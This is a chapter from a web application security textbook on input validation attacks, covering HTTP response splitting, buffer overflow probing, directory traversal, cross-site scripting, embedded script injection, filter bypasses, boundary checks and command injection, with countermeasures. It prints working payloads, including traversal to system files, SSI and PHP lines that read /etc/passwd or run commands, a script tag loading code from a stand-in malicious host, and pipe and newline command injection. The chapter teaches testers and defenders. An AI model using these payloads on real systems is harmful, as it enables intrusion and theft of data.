

CHAPTER 6

INPUT VALIDATION ATTACKS

Input validation routines serve as a first line of defense for a web application. Many attacks like SQL injection, HTML injection (and its subset of cross-site scripting), and verbose error generation are predicated on the ability of an attacker to submit some type of unexpected input to the application. These routines try to ensure that the data is in a format and of a type that is useful to the application. Without robust checks that minimize the potential for misuse, the integrity of an application and its information can be compromised.

Imagine the credit card field for an application's shopping cart. First of all, the credit card number will only consist of digits. Furthermore, most credit card numbers are only 16 digits long, but a few will be less. So, the first validation routine will be a length check. Does the input contain 14 to 16 characters? The second check will be for content. Does the input contain any character that is not a number? We could add another check to the system that determines whether or not the data represents a reasonable credit card number. The value "0000111122223333" is definitely not a credit card number, but what about "4435786912639983"? A simple function can determine if a 16-character value satisfies the checksum required of valid credit card numbers. The syntax of a credit card number can be checked to a rather specific degree, such as a card type that uses only 15 digits, starts with a 3 and the second digit is a 4 or a 7. Note that the credit card example demonstrates how to test the validity of the input—the string of digits. The example does not make any attempt to determine if the number corresponds to a valid card, matches the user's name and address, or otherwise validate the card itself. This chapter focuses on the dangers inherent to placing trust in user-supplied data and the ways an application can be attacked if it does not properly restrict the type of data it expects.

Data validation can be complex, but it forms a major basis of application security. Application programmers must exercise a little prescience to figure out all of the possible values that a user might enter into a form field. We just mentioned three simple checks for credit card validation: length, content, checksum. These tests can be programmed in JavaScript, placed in the HTML page, and served over SSL. The JavaScript solution sounds simple enough at first glance, but it is also one of the biggest made by developers. As we will see in the upcoming sections, client-side input validation routines can be bypassed and SSL only preserves the confidentiality of a web transaction. In other words, we can't trust the web browser to perform the security checks we expect and encrypting the connection (via SSL) has no bearing on the content of the data submitted to the application.

EXPECT THE UNEXPECTED

One of the biggest failures of input validation is writing the routines in JavaScript and placing them in the browser. At first, it may seem desirable to use any client-side scripting language for validation routines because the processing does not have to be performed on the server. Client-side filters are simple to implement and are widely supported among web browsers (although individual browser quirks still lead to developer headaches). Most importantly, they move a lot of processing from the web server to

the end-user's system. This is really a pyrrhic victory for the application. The web browser is an untrusted, uncontrollable environment, because all data coming from and going to the web browser can be modified in transit regardless of input validation routines. It is much cheaper to buy the hardware for another web server to handle the additional server-side input validation processing than to wait for a malicious user to compromise the application with a simple "%0a" in a parameter.

Attacks against input validation routines can target different aspects of the application. It is important to understand how an attacker might exploit an inadequate validation routine. The threats go well beyond mere "garbage data" errors.

- ▼ **Data storage** This includes characters used in SQL injection attacks. These characters can be used to rewrite the database query so that it performs a custom action for the attacker. An error might reveal information as simple as the programming language used in the application or as detailed as a raw SQL query sent from the application to its database.
- **Other users** This includes cross-site scripting and other attacks related to "phishing." The attacker might submit data that rewrites the HTML to steal information from an unsuspecting user or mislead that user into divulging sensitive information.
- **Web server's host** These attacks may be specific to the operating system, such as inserting a semicolon to run arbitrary commands on a UNIX web server. An application may intend to execute a command on the web server, but be tricked into executing alternate commands through the use of special characters.
- **Application content** An attacker may be able to generate errors that reveal information about the application's programming language. Other attacks might bypass restrictions on the types of files retrieved by a browser. For example, many versions of the Nimda worm used an alternate encoding of a slash character (used to delimit directories) to bypass the IIS security check to keep users from requesting files outside of the web document root.
- **Buffer overflows in the server** Overflow attacks plagued programs for years and web applications are no different. This attack involves throwing as much as possible against a single variable or field and watching the result. The result may be an application crash or could end up executing arbitrary commands. Buffer overflows are typically more of a concern for compiled languages like C and C++ rather than interpreted languages like Perl or Python. The nature of web platforms based on .NET and Java make application-layer buffer overflows very difficult because they don't allow the programmer to directly deal with stack and heap allocations (which are the playground of buffer overflows). It is more likely that a buffer overflow will exist in the language platform.
- ▲ **Obtain arbitrary data access** A user may be able to access data for a peer user, such as one customer being able to view another customer's billing information. A user may be able to access privileged data, such as an anonymous

user being able to enumerate, create, or delete users. Data access also applies to restricted files or administration areas of the application.

WHERE TO FIND ATTACK VECTORS

Every GET and POST parameter is fodder for input validation attacks. Altering arguments, whether they are generated from FORM data or by the application, is a trivial feat. The easiest points of attack are input fields. Common fields are Login Name, Password, Address, Phone Number, Credit Card Number, and Search. Other fields that use dropdown menus should not be overlooked, either. The first step is to enumerate these fields and their approximate input type.

Don't be misled that input validation attacks can only be performed against fields that the user must complete. Every variable in the GET or POST request can be attacked. The high-profile targets will be identified by an in-depth survey of the application that lists files, parameters, and form fields.

Cookie values are another target. Cookies contain values that might never be intended for manipulation by a user, but which could be used to perform SQL injection or impersonate other users.

The Cookie is simply a specific instance of an HTTP header. In fact, any HTTP header is a vector for input validation attacks. Another example of HTTP header-targeted attacks includes HTTP response splitting, in which a legitimate response is prematurely truncated in order to inject a forged set of headers (usually cookies or cache-control, which do the maximum damage client-side).

Let's take a closer look at HTTP response splitting. This attack targets applications that use parameters to indicate redirects. For example, here is a potentially vulnerable URL:

```
http://website/redirect.cgi?page=http://website/welcome.cgi
```

A good input validation routine would ensure that the value for the *page* parameter consists of a valid URL. Yet if arbitrary characters can be included, then the parameter might be rewritten with something like this:

```
http://website/redirect.cgi?page =0d%0aContent-Type:%20text/  
html%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/  
html%0d%0a%0d%0a%3html%3eHello, world!%3c/html%3e
```

The original value of *page* has been replaced with a series of characters that mimic the HTTP response headers from a web server and includes a simple HTML string for "Hello, world!" The malicious payload is more easily understood by replacing the encoded characters:

```
Content-Type: text/html  
HTTP/1.1 200 OK  
Content-Type: text/html  
  
<html>Hello, world!</html>
```

The end result is that the web browser displays this faked HTML content rather than the HTML content intended for the redirect. The example appears innocuous, but a malicious attack could include JavaScript or content that appears to be a request for the user's password, social security number, credit card information, or other sensitive information. The point of this example is not how to create an effective phishing attack, but to demonstrate how a parameter's content can be manipulated to produce unintended effects.

BYPASS CLIENT-SIDE VALIDATION ROUTINES

If your application's input validation countermeasures can be summarized with one word, JavaScript, then the application is not as secure as you think. Client-side JavaScript can always be bypassed. Some personal proxy, personal firewall, and cookie-management software tout their ability to strip pop-up banners and other intrusive components of a web site. Many computer professionals (paranoiacs?) turn off JavaScript completely in order to avoid the latest e-mail virus. In short, there are many legitimate reasons and straightforward methods for Internet users to disable JavaScript.

Of course, disabling JavaScript tends to cripple most web applications. Luckily, we have several tools that help surgically remove JavaScript or enable us to submit content after the JavaScript check has been performed. With a local proxy such as Paros, we can pause a GET or POST request before it is sent to the server. In this manner, we can enter data in the browser that passes the validation requirements, but modify any value in the proxy.

COMMON INPUT VALIDATION ATTACKS

Let's examine some common input validation attack payloads. Even though many of the attacks merely dump garbage characters in to the application, other payloads contain specially crafted strings. For the most part, we'll just demonstrate attacks that might expose the presence of a vulnerability and leave more detailed exploitation to other chapters. For example, the fulcrum for SQL injection attacks is input validation; however, a full discussion of SQL injection is covered in Chapter 8.

Buffer Overflow

Buffer overflows are less likely to appear in applications written in interpreted or high-level programming languages. For example, you would be hard-pressed to write a vulnerable application in PHP or Java. Yet it is possible that an overflow may exist in one of the language's built-in functions. In the end, it is probably better to spend time on other input validation issues, session management, and other web security topics. Of course, if your application consists of a custom ISAPI filter for IIS or a custom Apache module, then it is a good idea to test for buffer overflows or, perhaps more effectively, conduct a code security review.

To execute a buffer overflow attack, you merely dump as much data as possible into an input field. This is the most brutish and inelegant of attacks, but useful when it returns an application error. Perl is well suited for conducting this type of attack. One instruction creates whatever length necessary to launch against a parameter:

```
$ perl -e 'print "a" x 500'  
aaaaaaaa...repeated 500 times
```

You can create a Perl script to make the HTTP requests (using the LWP module), or dump the output through netcat. Instead of submitting the normal argument, wrap the Perl line in back ticks and replace the argument. Here's the normal request:

```
$ echo -e "GET /login.php?user=faustus\nHTTP/1.0\n\n" | \  
nc -vv website 80
```

Here's the buffer test, calling on Perl from the command line:

```
$ echo -e "GET /login.php?user=\n  
> `perl -e 'print \"a\" x 500'`\nHTTP/1.0\n\n" | \  
nc -vv website 80
```

This sends a string of 500 "a" characters for the *user* value to the *login.php* file. This Perl trick can be used anywhere on the UNIX (or Cygwin) command line. For example, combining this technique with the *curl* program reduces the problem of dealing with SSL:

```
$ curl https://website/login.php?user=`perl -e 'print "a" x 500`
```

As you try buffer overflow tests with different payloads and different lengths, the target application may return different errors. These errors might all be "password incorrect," but some of them might indicate boundary conditions for the *user* argument. The rule of thumb for buffer overflow testing is to follow basic differential analysis or anomaly detection:

1. Send a normal request to an application and record the server's response.
2. Send the first buffer overflow test to the application, record the server's response.
3. Send the next buffer, record the server's response.
4. Repeat step 3 as necessary.

Whenever the server's response differs from that of a "normal" request, examine what has changed. This helps you track down the specific payload that produces an error (such as 7,809 slashes on the URL are acceptable, but 7,810 are not).

In some cases, the buffer overflow attack enables the attacker to execute arbitrary commands on the server. This is a more difficult task to produce once, but simple to replicate. In other words, experienced security auditing is required to find a vulnerability, but an unsophisticated attacker can download and run a premade exploit.

NOTE

Most of the time these buffer overflow attacks are performed “blind.” Without access to the application to attach a debugger or to view log or system information, it is very difficult to craft a buffer overflow that results in system command execution. The FrontPage Services Extension overflow on IIS, for example, could not have been crafted without full access to a system for testing.

Canonicalization (dot-dot-slash)

These attacks target pages that use template files or otherwise reference alternate files on the web server. The basic form of this attack is to move outside of the web document root in order to access system files, i.e., “../../../../boot.ini”. The actual server, IIS and Apache, for example, is hopefully smart enough to stop this. IIS fell victim to such problems due to logical missteps in decoding URL characters and performing directory traversal security checks. Two well-known examples are the IIS Superfluous Decode (..%255c.) and IIS Unicode Directory Traversal (..%c0%af.). More information about these vulnerabilities is at the Microsoft web site at <http://www.microsoft.com/technet/security/bulletin/MS01-026.msp> and <http://www.microsoft.com/technet/security/bulletin/MS00-078.msp>.

A web application’s security is always reduced to the lowest common denominator. Even a robust web server falls due to an insecurely written application. The biggest victims of canonicalization attacks are applications that use templates or parse files from the server. If the application does not limit the types of files that it is supposed to view, then files outside of the web document root are fair game. This type of functionality is evident from the URL and is not limited to any one programming language or web server:

```
/menu.asp?dimlDisplayer=menu.html  
/webacc?User.html=login.htt  
/SWEditServlet?station_path=Z&publication_id=2043&template=login.tem  
/Getfile.asp?/scripts/Client/login.js  
/includes/printable.asp?Link=customers/overview.htm
```

This technique succeeds against web servers when the web application does not verify the location and content of the file requested. For example, the login page of Novell’s web-based Groupwise application has “/servlet/webacc?User.html=login.htt” as part of the URL. This application is attacked by manipulating the *User.html* parameter:

```
/servlet/webacc?User.html=../../../../WebAccess/webacc.cfg%00
```

This directory traversal takes us out of the web document root and into configuration directories. Suddenly, the login page is a window to the target web server—and we don’t even have to log in!

TIP

Many embedded devices, media servers, and other Internet-connected devices have rudimentary web servers—take a look at many routers and wireless access points sold for home networks. When con-

fronted by one of these servers, always try a simple directory traversal on the URL to see what happens. All too often security plays second fiddle to application size and performance!

Advanced Directory Traversal

Let's take a closer look at the Groupwise example. A normal HTTP request returns the HTML content of login.htm:

```
<HTML>
<HEAD>
<TITLE>GroupWise WebAccess Login</TITLE>
</HEAD>
<!login.htm>
..remainder of page truncated...
```

The first alarm that goes off is that the webacc servlet takes an HTML file (login.htm) as a parameter because it implies that the application loads and presents the file supplied to the *User.html* parameter. If the *User.html* parameter receives a value for a file that does not exist, then we would expect some type of error to occur. Hopefully, the error gives us some useful information. An example of the attack in a URL, <http://website/servlet/webacc?user.html=nosuchfile>, would produce this:

```
File does not exist: c:\Novell\java\servlets\com\novell\webaccess\
templates\nosuchfile/login.htm
Cannot load file: c:\Novell\java\servlets\com\novell\webaccess\
templates\nosuchfile/login.htm.
```

The error discloses the application's full installation path. Additionally, we discover that the login.htm file is appended by default to a directory specified in the *user.html* parameter. This makes sense, since the application must need a default template if no user.html argument is passed. The login.htm file, however, gets in the way of a good and proper directory traversal attack. To get around this, we'll try an old trick developed for use against Perl-based web applications: the Null character. For example:

```
http://website/servlet/webacc?user.html=../../../../../../../../
boot.ini%00
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(5)\WINNT
[operating systems]
multi(0)disk(0)rdisk(0)partition(5)\WINNT="Win2K" /fastdetect
C:\BOOTSECT.BSD="OpenBSD"
C:\BOOTSECT.LNX="Linux"
C:\CMDCONS\BOOTSECT.DAT="Recovery Console" /cmdcons
```

Notice that even though the application appends `login.htm` to the value of the `user.html` parameter, we have succeeded in obtaining the content of a Windows `boot.ini` file. The trick is appending `%00` to the `user.html` argument. The `%00` is the URL encoded representation of the null character, which carries a very specific meaning in a programming language like C when used with string variables. In the C language, a string is really just an arbitrarily long array of characters. In order for the program to know where a string ends, it reads characters until it reaches a special character to delimit the end: the null character. So, the web server will pass the original argument to the `user.html` variable, including the `%00`. When the servlet engine interprets the argument, it still appends `login.htm`, turning the entire argument string into a value like this:

```
../../../../../../../../boot.ini%00login.htm
```

A programming language like Perl actually accepts null characters within a string; it doesn't use them as a delimiter. However, operating systems are written in C (and a mix of C++). When a language like Perl or Java must interact with a file on the operating system, it must interact with a function most likely written in C. Even though a string in Perl or Java may contain a Null character, the operating system function will read each character in the string until it reaches the Null delimiter, which means the `login.htm` is ignored. Web servers decode `%xx` sequences as hexadecimal values. Consequently, the `%00` character is first translated by the web server to the Null character, then passed onto the application code (Perl in this case), which accepts the Null as part of the parameter's value.

TIP

Alternate character encoding with Unicode may also present challenges in the programming language. An IIS superfluous decode vulnerability was based on using alternate Unicode encoding to represent the slash character.

Forcing an application into accessing arbitrary files can sometimes take more tricks than just the `%00`. Here are some more techniques:

- ▼ **../../../../file.asp%00.jpg** The application performs rudimentary name validation that requires an image suffix (`.jpg` or `.gif`).
- **../../../../file.asp%0a** The newline character works just like the null. This might work when an input filter strips `%00` characters, but not other malicious payloads.
- **/valid_dir/../../../../file.asp** The application performs rudimentary name validation on the source of the file. It must be within a valid directory. Of course, if it doesn't remove directory traversal characters then you can easily escape the directory.
- **valid_file.asp../../../../file.asp** The application performs name validation on the file, but only performs a partial match on the filename.

- ▲ **%2e%2e%2f%2e%2e%2ffile.asp (../../file.asp)** The application performs name validation before the argument is URL decoded, or the application's name validation routine is weak and cannot handle URL-encoded characters.

Navigating Without Directory Listings

Canonicalization attacks allow directory traversal inside and outside of the web document root. Unfortunately, they rarely provide the ability to generate directory listings—it's rather difficult to explore the terrain without a map! However, there are some tricks that ease the difficulty of enumerating files. The first step is to find out where the actual directory root begins. This is a drive letter on Windows systems and most often the root ("/") directory on UNIX systems. IIS makes this a little easier, since the top-most directory is "InetPub" by default. For example, find the root directory (drive letter) on an IIS host by continually adding directory traversals until you successfully obtain a target HTML file. Here's an abbreviated example of a tracking down the root for a target application's default.asp file:

```
Sent: /includes/printable.asp?Link=../inetpub/wwwroot/default.asp
Return: Microsoft VBScript runtime error '800a0046'
File not found
/includes/printable.asp, line 10
Sent: /includes/printable.asp?Link=../../inetpub/wwwroot/default.asp
Return: Microsoft VBScript runtime error '800a0046'
File not found
/includes/printable.asp, line 10
Sent: /includes/printable.asp?Link=../../../inetpub/wwwroot/
default.asp
Return: Microsoft VBScript runtime error '800a0046'
File not found
/includes/printable.asp, line 10
Sent: /includes/printable.asp?Link=../../../../inetpub/wwwroot/
default.asp
Return: Microsoft VBScript runtime error '800a0046'
...source code of default.asp returned!...
```

It must seem pedantic to go through the trouble of finding the exact number of directory traversals when a simple `../../../../../../../../` would suffice. Yet before you pass judgment, take a closer look at the number of escapes. There are four directory traversals necessary before the printable.asp file dumps the source code. If we assume that the full path is `/inetpub/wwwroot/includes/printable.asp`, then we should need to go up three directories. The extra traversal steps imply that the `/includes` directory is mapped somewhere else on the drive, or the default location for the "Link" files is somewhere else.

NOTE

The printable.asp file we found is vulnerable to this attack because the file does not perform input validation. This is evident from a single line of code from the file:

```
Link = "D:\Site server\data\publishing\documents"&Request.QueryString("Link")
```

Notice how many directories deep this is?

Error codes can also help us enumerate directories. We'll use information such as "Path not found" and "Permission denied" to track down the directories that exist on a web server. Going back to the previous example, we'll use the printable.asp to enumerate directories:

```
Sent: /includes/printable.asp?Link=../../../../inetpub
Return: Microsoft VBScript runtime error '800a0046'
Permission denied
/includes/printable.asp, line 10
Sent: /includes/printable.asp?Link=../../../../inetpub/borkbork
Return: Microsoft VBScript runtime error '800a0046'
Path not found
/includes/printable.asp, line 10
Sent: /includes/printable.asp?Link=../../../../data
Return: Microsoft VBScript runtime error '800a0046'
Permission denied
/includes/printable.asp, line 10
Sent: /includes/printable.asp?Link=../../../../Program%20Files/
Return: Microsoft VBScript runtime error '800a0046'
Permission denied
/includes/printable.asp, line 10
```

These results tell us that it is possible to distinguish between files or directories that exist on the web server and those that do not. We verified that the /inetpub and "Program Files" directories exist, but the error indicates that web application doesn't have read access to them. If the /inetpub/borkbork directory had returned the error "Permission denied", then this technique would have failed because we would have no way of distinguishing between read directories (Program Files) and nonexistent ones (borkbork). We also discovered a data directory during this enumeration phase. This directory is within our mysterious path (D:\Site server\data\publishing\documents\) to the printables.asp file.

To summarize the steps for enumerating files:

- ▼ *Examine error codes.* Determine if the application returns different errors for files that do not exist, directories that do not exist, files that exist (but perhaps have read access denied), and directories that exist.
- *Find the root.* Add directory traversal characters until you can determine where the drive letter or root directory starts.

- *Move down the web document root.* Files in the web document root are easy to enumerate. You should already have listed most of them when first surveying the application. These files are easier to find because they are a known quantity.
- *Find common directories.* Look for temporary directories (/temp, /tmp, /var), program directories (/Program Files, /winnt, /bin, /usr/bin), and popular directories (/home, /etc, /downloads, /backup).
- ▲ *Try to access directory names.* If the application has read access to the directory, it will list the directory contents. This makes file enumeration easy!

NOTE

A good web application tester's notebook should contain recursive directory listings for common programs associated with web servers. Having a reference to the directories and configuration files greatly improves the success of directory traversal attacks. The application list should include programs such as Lotus Domino, Microsoft Site Server, and Apache Tomcat.



Countermeasures

The best defense against canonicalization attacks is to remove all dots (.) from GET and POST parameters. The parsing engine should also catch dots represented in Unicode and hexadecimal.

Force all reads to happen from a specific directory. Apply regular expression filters that remove all path information preceding the expected filename. For example, reduce "/path1/path2/./path3/file" to "/file."

Secure file system permissions also mitigate this attack. First, run the web server as a least-privilege user, either the "nobody" account on UNIX systems or the "Guest" account on Windows systems. (You can also create custom accounts for this purpose.) Limit the web server account so that it can only read files from directories specifically related to the web application.

Move sensitive files such as include files (*.inc) out of the web document root to a directory, but to a directory that the web server can still access. This mitigates directory traversal attacks that are limited to viewing files within the document root. The server is still able to access the files, but the user cannot read them.

HTML Injection

Script attacks include any method of submitting HTML formatted strings to an application that subsequently renders those tags. The simplest script attacks involve entering <script> tags into a form field. If the user-submitted contents of that field are redisplayed, then the browser interprets the contents as a JavaScript directive rather than displaying the literal value "<script>". The real targets of this attack are other users of the application who view the malicious content and fall prey to social engineering attacks.

There are two prerequisites for this attack. First, the application must accept user input. This sounds obvious; however, the input does not have to come from form fields. We will

list some methods that can be tested on the URL, but headers and cookies are valid targets as well. Second, the application must redisplay the user input. The attack occurs when an application renders the data, which become HTML tags that the web browser interprets.

For example, here are two snippets from the HTML source that display query results:

```
Source: 37 items found for <b>&lt;i&gt;test&lt;/i&gt;</b>
Display: 37 items found for <i>test</i>
Source: 37 items found for <b><i>test</i></b>
Display: 37 items found for test
```

The user searched this site for “<i>test</i>”. In the first instance, the application handles the input correctly. The angle brackets are HTML encoded and are not interpreted as tags for italics. In the second case, the angle brackets are maintained and they do produce the italics effect. Of course, this is a trivial example, but it illustrates how script attacks work.

Cross-site Scripting (XSS)

Cross-site scripting attacks place malicious code, usually JavaScript, in locations where other users see it. Target fields in forms can be addresses, bulletin board comments, etc. The malicious code usually steals cookies, which would allow the attacker to impersonate the victim, or perform a social engineering attack, which may trick the victim into divulging his or her password. This type of social engineering attack has plagued Hotmail, Gmail, and AOL.

This is not intended to be a treatise on JavaScript or uber-techniques for manipulating browser vulnerabilities. Here are three methods that, if successful, indicate that an application is vulnerable:

```
<script>document.write(document.cookie)</script>
<script>alert('Salut!')</script>
<script src="http://www.malicious-host.foo/badscript.js"></script>
```

Notice that the last line calls JavaScript from an entirely different server. This technique circumvents most length restrictions because the badscript.js file can be arbitrarily long, whereas the reference is relatively short. These tests are simple to execute against forms. Simply try the strings in any field that is redisplayed. For example, many e-commerce applications present a verification page after you enter your address. Enter <script> tags for your street name and see what happens.

There are other ways to execute XSS attacks. As we alluded to previously, an application's search engine is a prime target for XSS attacks. Enter the payload in the search field, or submit it directly to the URL:

```
http://website/search/search.pl?qu=<script>alert('foo')</alert>
```

We have found that error pages are often subject to XSS attacks. For example, the URL for a normal application error looks like this:

```
http://website/inc/errors.asp?Error=Invalid%20password
```

This displays a custom access denied page that says, “Invalid password”. Seeing a string on the URL reflected in the page contents is a great indicator of an XSS vulnerability. The attack would be created as:

```
http://website/inc/errors.asp?Error=<script%20src=...
```

That is, place the script tags on the URL. By this point, you should have a good idea of how to perform these tests. Further iterations on common XSS injection techniques can be found in “References and Further Reading” at the end of this chapter.

Embedded Scripts

Embedded script attacks lack the popularity of cross-site scripting, but they are not necessarily rarer. An XSS attack targets other users of the application. An embedded script attack targets the application itself. In this case, the malicious code is not a pair of `<script>` tags, but formatting tags. This includes SSI directives, ASP brackets, PHP brackets, SQL query structures, or even HTML tags. The goal is to submit data that, when displayed by the application, executes as a program instruction or mangles the HTML output. Program execution can enable the attacker to access server variables such as passwords and files outside of the web document root. Needless to say, it poses a major risk to the application. If the embedded script merely mangles the HTML output, then the attacker may be presented with source code that did not execute properly. This can still expose sensitive application data.

Execution tests fall into several categories. An application audit does not require complex tests or malicious code. If an embedded ASP `date()` function returns the current date, then the application’s input validation routine is inadequate. ASP code is very dangerous because it can execute arbitrary commands or access arbitrary files:

```
<%= date() %>
```

Server-side includes also permit command execution and arbitrary file access:

```
<!--#include virtual="global.asa" -->  
<!--#include file="/etc/passwd" -->  
<!--#exec cmd="/sbin/ifconfig -a" -->
```

Embedded Java and JSP is equally dangerous:

```
<% java.util.Date today = new java.util.Date(); out.println(today); %>
```

Finally, we don’t want to forget PHP:

```
<? print(Date("1 F d, Y")); ?>  
<? Include '/etc/passwd' ?>  
<? passthru("id");?>
```

If one of these strings actually works, then there is something seriously broken in the application. Language tags, such as “<?” or “<%”, are usually processed before user input. This doesn’t mean that an extra %> won’t break a JSP file, but don’t be too disappointed if it fails.

A more viable test is to break table and form structures. If an application creates custom tables based on user input, then a spurious </table> tag might end the page prematurely. This could leave half of the page with normal HTML output and the other half with raw source code. This technique is useful against dynamically-generated forms.

Cookies and Predefined Headers

Web application testers always review the cookie contents. Cookies, after all, can be manipulated to impersonate other users or to escalate privileges. The application must read the cookie, therefore, cookies are an equally valid test bed for script attacks. In fact, many applications interpret additional information that is particular to your browser. The HTTP 1.1 specification defines a “User agent” header that identifies the web browser. You usually see some form of “Mozilla” in this string.

Applications use the User agent string to accommodate browser quirks (since no one likes to follow standards). The text-based browser, lynx, even lets you specify a custom string:

```
$ lynx -dump -useragent="<script>" \  
> http://website/page2a.html?tw=tests  
...output truncated...
```

Netscape running on a Mac might send one like this:

```
User Agent: Mozilla/4.5 (Macintosh; U; PPC)
```

And FYI, it appears that the browser you're currently using to view this document sends this User Agent string:

What’s this? The application can’t determine our custom User-agent string. If we view the source, then we see why this happens:

And FYI, it appears that the browser you're currently using to view this document sends this User Agent string:

```
<BLOCKQUOTE>  
<PRE>  
<script>  
</PRE>  
</BLOCKQUOTE>
```

So, our <script> tag was accepted after all. This is a prime example of a vulnerable application. The point here is that input validation affects *any* input that the application receives.



Countermeasures

The most significant defense against script attacks is to turn all angle brackets into their HTML-encoded equivalents. The left bracket, “<”, is represented by “<” and the right bracket, “>”, is represented by “>”. This ensures that the brackets are always stored and displayed in an innocuous manner. A web browser will never execute a “<script>” tag.

Once you’ve eliminated the major threat, you can focus on fine-tuning the application. Limit input fields to the maximum length expected for the data type. Names will not be longer than 20 characters. Phone numbers will be even shorter. Most script attacks require several characters just to get started—at least 17 if you just count the <script> pairs. Remember, this truncation should be performed on the server, not within the web browser.

Some applications intend to let users specify certain HTML tags such as bold, italics, and underline. In these cases, use regular expressions to validate the data. These checks should be inclusive, rather than exclusive. In other words, they should only look for acceptable tags, permit those tags, and HTML-encode all remaining brackets. For example, an inadequate regular expression that tries to catch <script> tags can be tricked:

```
<scr%69pt>  
<<script>  
<a href="javascript:commands..."></a>  
<b+<script>  
<scrscriptipt> (bypasses regular expressions that replace "script" with  
null)
```

Obviously, it is easier in this case to check for the presence of a positive (is present) rather than the absence of a negative (<script> is not present).

More information about XSS and alternate ways in which payloads can be encoded is found at <http://ha.ckers.org/xss.html>.

Boundary Checks

Numeric fields have much potential for misuse. Even if the application properly restricts the data to numeric values, some of those values may still cause an error. Boundary checking is the simple technique of trying the extremes of a value. Swapping out UserID=19237 for UserID=0 or UserID=-1 may generate informational errors or strange behavior. The upper bound should also be checked. A one-byte value cannot be greater than 255. A two-byte value cannot be greater than 65,535.

```
http://www.victim.com/internal/CompanyList.asp?SortID=255  
Your Search has timed out with too long of a list.
```

```
http://www.victim.com/internal/CompanyList.asp?SortID=256  
Address Change Search Results
```

```
http://www.victim.com/internal/CompanyList.asp?SortID=257
```

Your Search has timed out with too long of a list.

```
http://www.victim.com/internal/CompanyList.asp?SortID=0
```

Address Change Search Results

Notice that setting SortID to 256 returns a successful query, but 255 and 257 do not. SortID=0 also returns a successful query. It would seem that the application only expects an 8-bit value for SortID, which would make the acceptable range between 0 and 255. An 8-bit value “rolls over” at 255, so 256 is actually considered to have a value of 0.

You (probably) won’t gain command execution or arbitrary file access from boundary checks. However, the errors they generate can reveal useful information about the application or the server. This check only requires a short list of values:

- ▼ **Boolean** Any value that has some representation of true or false (T/F, true/false, yes/no, 0/1). Try both values; then try a nonsense value. Use numbers for arguments that accept characters; use characters for arguments that accept digits.
- **Numeric** Set zero and negative values (0 and -1 work best). Try the maximum value for various bit ranges, i.e., 256, 65536, 4294967296.
- ▲ **String** Test length limitations. Determine if string variables, such as name and address, accept punctuation characters.

Manipulate Application Behavior

Some applications may have special directives that the developers used to perform tests. One of the most prominent is “debug=1”. Appending this to a GET or POST request could return more information about variables, the system, or back-end database connectivity. A successful attack may require a combination of debug, dbg and true, T, or 1.

Some platforms may allow internal variables to be set on the URL. Other attacks target the web server. %3f.jsp will return directory listings against JRun x.x and Tomcat 3.2.x.

The htsearch CGI runs as both the CGI and as a command-line program. The command-line program accepts the -c [filename] to read in an alternate configuration file.

Search Engines

The mighty percent (“%”) often represents a wild card match in SQL or search engines. Submitting the percent symbol in a search field might return the entire database content, or generate an informational error, as in the following example:

```
http://victim.com/users/search?FreeText=on&kw=on&ss=%
```

```
Exception in com.motive.web411.Search.processQuery(Compiled Code):  
java.lang.StringIndexOutOfBoundsException: String index out of range:  
 3 at java.lang.String.substring(Compiled Code) at  
javax.servlet.http.HttpUtils.parseName(Compiled Code) at
```

```
javax.servlet.http.HttpUtils.parseQueryString(Compiled Code) at  
com.motive.mrun.MotiveServletRequest.parseParameters(Compiled Code)  
at com.motive.mrun.MotiveServletRequest.getParameterValues(Compiled  
Code) at com.motive.web411.MotiveServlet.getParamValue(Compiled Code)  
at com.motive.web411.Search.processQuery(Compiled Code) at  
com.motive.web411.Search.doGet(Compiled Code) at  
javax.servlet.http.HttpServlet.service(Compiled Code) at  
javax.servlet.http.HttpServlet.service(Compiled Code) at  
com.motive.mrun.ServletRunner.RunServlet(Compiled Code)
```

SQL also uses the underscore (_) to represent a single-character wild card match. Web applications that employ LDAP back-ends may also be exposed to similar attacks based on the asterisk (*), which represents a wild card match in that protocol.

SQL Injection and Datastore Attacks

This special case of input validation attacks can open up a database to complete compromise. The easiest test for the presence of a SQL injection attack is to append "or+1=1" to the URL and inspect the data returned by the server. The basis for a SQL injection attack is sending the application invalid input.

Even so, it is worth mentioning here that many SQL injection tests will reveal errors in files that do not access databases. An unaccounted single quote character often wreaks havoc on an application. Here's an URL that might be expected to have a SQL injection vulnerability.

```
http://website/in.php3?list=979077131'&site=4thedition
```

Yet the response indicates a file access error, which would lead us to try a different set of follow-up tests:

```
Warning: fopen("/usr/home/topsites/lists/979077131\'/  
vote_timeout.txt","a") - No such file or directory in  
/home/sites/site8/web/in.php3 on line 13
```

The potential impact of a successful attack deserves a chapter of its own. Check out Chapter 8 for more details on how to tailor attacks against input validation to specific databases.

Command Execution

Many attacks only result in information disclosure such as database columns, application source code, or arbitrary file contents. Command execution is the ultimate goal for an attack. Some equivalent of command-line access quickly leads to a full compromise of the web server and possibly other systems on its local network.

Newline Characters

The newline character, %0a in its hexadecimal incarnation, is a useful character for arbitrary command execution. On UNIX systems, less secure CGI scripts (such as any script written in a shell language) will interpret the newline character as an instruction to execute a new command.

For example, the administration interface for one service provider's banking platform is written in the Korn Shell (ksh). One function of the interface is to call an internal "analyze" program to collect statistics for the several dozen banking web sites it hosts. The GET request looks like: URL/analyze.sh?-t+24&-i. The first test is to determine if arbitrary variables can be passed to the script. Sure enough, URL/analyze.sh?-h returns the help page for the "analyze" program. The next step is command execution: URL/analyze.sh?-t%0a/bin/lS%0a. This returns a directory listing on the server (using the lS command). At this point, we have the equivalent of command-line access on the server.

HTTP response splitting is another great example of newline characters causing trouble (see "References and Further Reading" for more information). HTTP response splitting involves the injection of carriage return line feed (%0d%0a) into a redirected HTTP response that prematurely truncates the legitimate response and inserts HTTP headers of the attacker's choice. Headers that are typically targeted include Last-Modified, Cache-Control (leading to client-side cache poisoning), Set-Cookie (leading to cookie poisoning), and XSS. We present an example of HTTP response splitting in Chapter 12.

Ampersand, Pipe, and Semicolon Characters

One of the important techniques to command injection attacks is finding the right combination of command separation characters. Both Windows and UNIX-based systems accept some subset of the ampersand, pipe, and semicolon characters.

The pipe character (%7c) can be used to chain UNIX commands. The Perl-based AWStats application (<http://awstats.sourceforge.net/>) provides a good example of using pipe characters with command execution. Versions of AWStats below 6.5 are vulnerable to a command injection exploit in the *configdir* parameter of the *awstats.pl* file. The following is an example of the exploit syntax,

```
http://website/awstats/awstats.pl?configdir=|command|
```

